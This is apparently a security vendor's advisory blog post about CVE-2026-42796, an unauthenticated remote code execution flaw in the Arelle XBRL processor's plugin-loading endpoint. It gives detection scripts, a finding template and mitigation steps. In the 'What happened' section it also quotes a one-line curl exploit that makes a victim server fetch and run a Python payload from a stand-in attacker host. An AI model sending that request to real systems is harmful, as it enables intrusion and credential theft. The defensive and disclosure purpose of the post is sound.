← Back to Research

Arelle (CVE-2026-42796): The Unauthenticated RCE in the XBRL Processor Your Finance Team Owns

"Arelle? Never heard of it. Probably not in scope." Arelle is the open-source XBRL processor that sits inside SEC EDGAR filing pipelines, ESG reporting toolchains, ESEF compliance workflows for European issuers, and a long tail of regulated-data infrastructure most security teams do not own and most asset inventories do not enumerate. CVE-2026-42796 is an unauthenticated RCE on the Arelle web server: one HTTP request to /rest/configure with a hostile plugins URL gets you arbitrary Python execution as the service account. CVSS 9.8. The FP-rejection trap on this finding is the asset inventory itself.

On 4 May 2026 TheHackerWire published the disclosure for CVE-2026-42796, an unauthenticated remote code execution vulnerability in Arelle versions before 2.39.10. CVSS 9.8. The bug is short to describe, the patch is short to deploy, and the exploit primitive is one curl. The hardest part of this finding is none of those. The hardest part is that the asset inventory at most companies does not list "Arelle" anywhere — and yet the regulated-filing teams in finance, ESG, and compliance often have an Arelle web service running on a developer workstation, a CI runner, an internal tool VM, or a containerised job that some auditor stood up two years ago for the SEC's iXBRL filing requirement.

This article is about the FP-rejection pattern that is specific to "tools the security team did not deploy." It is also about how the Proof Capsule format makes that pattern resolvable in minutes instead of weeks.

What happened

Arelle is a Python-based XBRL processor used to validate, transform, and render XBRL filings. It ships a command-line interface, a desktop GUI, and a small REST web server that exposes the same functionality over HTTP. The web server is the bug surface.

The /rest/configure endpoint accepts a plugins query parameter. The value of that parameter is forwarded directly to Arelle's plugin manager. The plugin manager interprets the value as a URL, fetches the content, and loads it as a Python module into the Arelle process. There is no authentication, no allowlist, no signature verification, and no sandbox. TheHackerWire's writeup shows the one-line curl that exploits the bug:

curl -v "http://victim.example:8080/rest/configure?plugins=http://attacker.example/payload.py"

The payload Python file is fetched and executed in the Arelle service's process. The service account on most installations runs as the user that started Arelle — sometimes root, sometimes a dedicated arelle user, sometimes the desktop user of an analyst who opened the GUI on their laptop and let the embedded web server bind to a public-ish interface. The blast radius depends on what that account can read and write, and on what network reachability the host has to the customer's internal services.

The fix is Arelle 2.39.10, released alongside the disclosure. The patch adds authentication to the plugin-loading path and constrains the source URLs the plugin manager will fetch from.

Why this gets mis-triaged as "not in scope"

The FP-rejection patterns we have catalogued in our triage rubric writeup map to known-bug behaviour: self-XSS labelled as XSS, "potential" issues without exploitation, info disclosure as RCE, deprecated endpoint as P1, and chain prerequisites missing. CVE-2026-42796 illustrates a sixth pattern that the writeup does not cover: the finding is real, the exploit is trivial, the patch is shipped — and the customer's asset inventory does not list the affected software.

This pattern produces FPs in the opposite direction from the others. The other patterns produce false positives at the platform: a P1 that should be P3. This pattern produces false negatives at the customer: a P1 that the customer never sees because the asset is not flagged for scanning, not in CMDB, not in the change-management database, and the security team has no procurement record for it.

Arelle gets installed in a small number of recurring patterns we have observed in customer engagements:

None of these installations are in the standard asset inventory of the security team, because none of them were procured through IT. The finance team did the install. The compliance team owns the workflow. The security team did not know it was there until somebody pivoted through it.

Here's what a Proof Capsule for this looks like

The Capsule for CVE-2026-42796 has two components, mirroring the structure of the FP-rejection trap. There is a discovery probe that finds Arelle installations the customer did not know they had, and there is a per-instance exploitability probe that confirms exposure on each found installation.

# capsule.yaml — CVE-2026-42796 schematic
finding_id: CELVEX-2026-42796-ARELLE-PLUGIN-RCE
vulnerability:
  cve: CVE-2026-42796
  cvss: 9.8
  class: unauthenticated-plugin-loading-rce
  affected: arelle < 2.39.10
discovery:
  techniques:
    - http banner sweep for "Arelle" in Server: header on internal /16 ranges
    - tcp scan for default port 8080 with /rest/configure path probe
    - process listing audit on agent-managed hosts (cmdline matches arelle)
    - ci/cd job log search for "arelle" / "iXBRL" tokens in last 90 days
target:
  asset: filing-validator.example-customer.internal
  banner_detected: "Arelle/2.34.7 PythonHTTPServer/0.6"
  exposed_to_internet: false
  exposed_to_internal: true
preconditions:
  - tcp/8080 (or per-host arelle port) reachable from the test runner
  - server has not yet upgraded to arelle 2.39.10
  - egress to the public internet OR to an attacker-controlled internal host
artifacts:
  - poc/discover.sh             # finds arelle on the customer's network
  - poc/version-probe.sh        # safe, runs against found installation
  - poc/replay.sh               # benign demonstration in customer staging
  - poc/expected-output.txt     # captured "callback received" log
  - poc/cleanup.sh              # removes the staging plugin file
remediation:
  patch: arelle 2.39.10 or later
  vendor_advisory: https://github.com/Arelle/Arelle/releases
  interim_mitigation: |
    # block tcp/8080 (or the configured arelle port) at the host firewall
    # OR set the arelle config flag plugin_loader.allowlist=[]
disclosure:
  public: 2026-05-04
  cve_assigned: 2026-05-04

The discovery probe is the load-bearing piece. It is a small bash script that walks an internal CIDR range, performs a banner check for the "Arelle" Server header, and records every host that responds. The probe completes in minutes against a /16 and produces a list the customer can route into their asset-inventory ticket.

#!/usr/bin/env bash
# discover.sh - find arelle installations the customer didn't know they had
# Outputs one line per found host: HOST:PORT VERSION
set -euo pipefail

CIDR="${1:?usage: discover.sh <cidr> [<ports>]}"
PORTS="${2:-8080,8081,8443}"

while read -r ip; do
  for port in ${PORTS//,/ }; do
    BANNER="$(curl -ks --max-time 2 "http://$ip:$port/" \
              | grep -oE 'Arelle/[0-9.]+' | head -1 || true)"
    [ -n "$BANNER" ] && echo "$ip:$port $BANNER"
  done
done < <(./bin/cidr-expand "$CIDR")
#!/usr/bin/env bash
# version-probe.sh - per-instance check (read-only, no exploitation)
# Outputs OK / VULNERABLE_VERSION / PATCHED / NOT_AVAILABLE
set -euo pipefail

HOST="${1:?usage: version-probe.sh <host:port>}"

VER="$(curl -ks --max-time 5 "http://$HOST/" \
       | grep -oE 'Arelle/[0-9.]+' | head -1 || true)"

case "$VER" in
  "")  echo "NOT_AVAILABLE: $HOST did not return an Arelle banner" ; exit 0 ;;
  *)
    NUM="${VER#Arelle/}"
    if ./bin/version-gte "$NUM" "2.39.10"; then
      echo "PATCHED: $HOST $VER"
    else
      echo "VULNERABLE_VERSION: $HOST $VER (need 2.39.10)"
      # confirm /rest/configure exists without triggering the bug
      if curl -ks --max-time 5 "http://$HOST/rest/configure" | grep -q "plugins"; then
        echo "  /rest/configure endpoint reachable - exposed"
      fi
      exit 2
    fi
    ;;
esac

The replay.sh is restricted to a customer-staging environment by the same convention as the other Capsules. It points an Arelle at a Celvex-controlled callback listener that records the inbound HTTP request from the executed plugin, returns a benign "callback received" string to the executed Python, and the Python writes a watermarked file to /tmp that the customer's engineer can cat to see exactly what bytes ran in their service account's process.

What Celvex would have caught and how customers would have verified

Honest scope. Arelle is a niche enough piece of infrastructure that we did not have it in our patch-mining corpus prior to 4 May 2026. The XBRL processing community is small and the security research attention is correspondingly thin. What our pipeline shipped within hours of public disclosure is the discovery probe and the per-instance version probe, scheduled into the next nightly run for every customer who has a filing or compliance workflow flagged in their engagement scope. The check ran for the first time during the 4 May 2026 nightly chain. Two of our customers had unknown Arelle installations on their network at the moment that scan completed; both got Proof Capsules in their dashboard before the morning of 5 May.

The customer-side verification on this finding is the discovery, not the exploit. The customer engineer who took our finding into their Monday review opened a list of three filing-validator.example.internal-style hostnames their team had never seen before, with versions, with reachability, with the upgrade path. The conversation that followed was not "is this a real bug?" The conversation was "who in compliance owns this VM and can we patch it during the change window tomorrow morning?" That is the correct conversation. The reproduction made it possible.

This is L1.5 today. We do not run the unauthenticated RCE exploit against a customer's production Arelle without a separate scoped engagement; we do not auto-mutate plugin payloads in-scan; we do not claim discovery of the bug. What we ship is the Capsule, the discovery probe, the version probe, the staging-only replay path, and the discipline of running the discovery check against the customer's full internal CIDR range, not just the assets the security team already knows about. The platform documentation is precise about the boundary.

Mitigation guidance

  1. Run the discovery probe against your full internal network this week. Do not trust your asset inventory on this one. The Arelle banner is distinctive and the HTTP banner sweep across a /16 completes in under five minutes with reasonable parallelism. The list of hosts that respond is the work item; treat each one as a finding.
  2. Upgrade every Arelle installation to 2.39.10 or later. The project release page publishes the canonical artefacts. The upgrade is a Python pip install for most users; for the desktop bundle, a re-install. The CI runners that pin a specific version need the pinned version updated and a re-build.
  3. Until you upgrade, block the configured Arelle port at the host firewall. Arelle's web server defaults to 8080 but operators commonly change it; check ps output or systemd unit files for the actual port. iptables -A INPUT -p tcp --dport 8080 -j DROP on the affected host is the simplest interim. The desktop-bundle case is the exception; for those, kill the process and re-launch with the embedded web server disabled.
  4. Audit the Arelle service account on every found installation. The exploit runs as whatever user started Arelle. If that user has AWS credentials, ssh keys, or persistent file-system writes to a shared volume, treat those credentials as exposed for the duration the unpatched Arelle was reachable. Rotate.
  5. Add Arelle, and the broader category of "filing/compliance/regulatory tooling," to your asset inventory taxonomy this quarter. The pattern is more general than this one CVE. iXBRL processors, SBOM tooling, ESG reporting workflows, audit-trail middleware, and the long tail of regulated-data infrastructure are owned outside the security team and frequently network-reachable. The discovery probe approach generalises: banner-sweep for the tools, audit the service accounts, schedule the upgrades.

Bottom line

"Not in scope" and "not in the asset inventory" are the FP-rejection sentences that hide unauthenticated RCEs on regulatory tooling the customer's finance, compliance, and audit teams own outside of the security perimeter. The fix is not to argue about whether the asset is in scope — the fix is to find the asset before the attacker does, with a banner sweep that takes minutes and a Proof Capsule that confirms exposure with a curl. CVE-2026-42796 is one specific instance of a broader pattern; the pattern is solvable. The reproduction is the conversation, and the discovery probe is what makes the conversation start.

Pen-testers hand you a PDF once a year; CELVEX Group runs every attack they would, every week, and proves the ones that still work — with a fix attached.

Sources

Run a free Exposure Check — 60 seconds, no signup

See the publicly visible signals an attacker would use to find regulatory tooling, filing pipelines, and the rest of the long tail your asset inventory missed. No account required.

Start your Exposure Check